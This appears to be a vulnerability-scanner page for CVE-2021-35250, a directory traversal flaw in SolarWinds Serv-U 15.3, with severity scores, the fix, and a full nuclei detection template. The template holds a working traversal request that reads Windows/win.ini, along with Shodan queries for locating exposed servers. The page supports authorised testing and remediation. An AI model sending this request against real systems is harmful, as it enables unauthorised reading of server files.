SolarWinds Serv-U 15.3 - Directory Traversal

highseverity

7.5CVSS score

12.8%likelihood of exploitation, next 30 days

96%of all CVEs are less likely

Readycheck to confirm it

SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks.

Fix

Resolved in Serv-U 15.3 Hotfix 1.

How to confirm it

Send: POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1
Positive when: matches /\[(font|extension|file)s\]/ AND status 401

Run it with nuclei: nuclei -id CVE-2021-35250 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-35250

info:
  name: SolarWinds Serv-U 15.3 - Directory Traversal
  author: johnk3r,pdteam
  severity: high
  description: |
    SolarWinds Serv-U 15.3 is susceptible to local file inclusion, which may allow an attacker access to installation and server files and also make it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to sensitive files, potentially exposing sensitive information or allowing for further attacks.
  remediation: Resolved in Serv-U 15.3 Hotfix 1.
  reference:
    - https://github.com/rissor41/SolarWinds-CVE-2021-35250
    - https://support.solarwinds.com/SuccessCenter/s/article/Serv-U-15-3-HotFix-1?language=en_US
    - https://www.solarwinds.com/trust-center/security-advisories/cve-2021-35250
    - https://twitter.com/shaybt12/status/1646966578695622662?s=43&t=5HOgSFut7Y75N7CBHEikSg
    - https://nvd.nist.gov/vuln/detail/CVE-2021-35250
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2021-35250
    cwe-id: CWE-22
    epss-score: 0.12804
    epss-percentile: 0.96319
    cpe: cpe:2.3:a:solarwinds:serv-u:15.3:-:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: solarwinds
    product: serv-u
    shodan-query:
      - product:"Rhinosoft Serv-U httpd"
      - product:"rhinosoft serv-u httpd"
  tags: cve2021,cve,solarwinds,traversal,vkev,vuln

http:
  - raw:
      - |
        POST /?Command=NOOP&InternalFile=../../../../../../../../../../../../../../Windows/win.ini&NewWebClient=1 HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        /?Command=NOOP

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - "\\[(font|extension|file)s\\]"

      - type: status
        status:
          - 401

References

Use this check only on systems you are authorised to test. Where the data comes from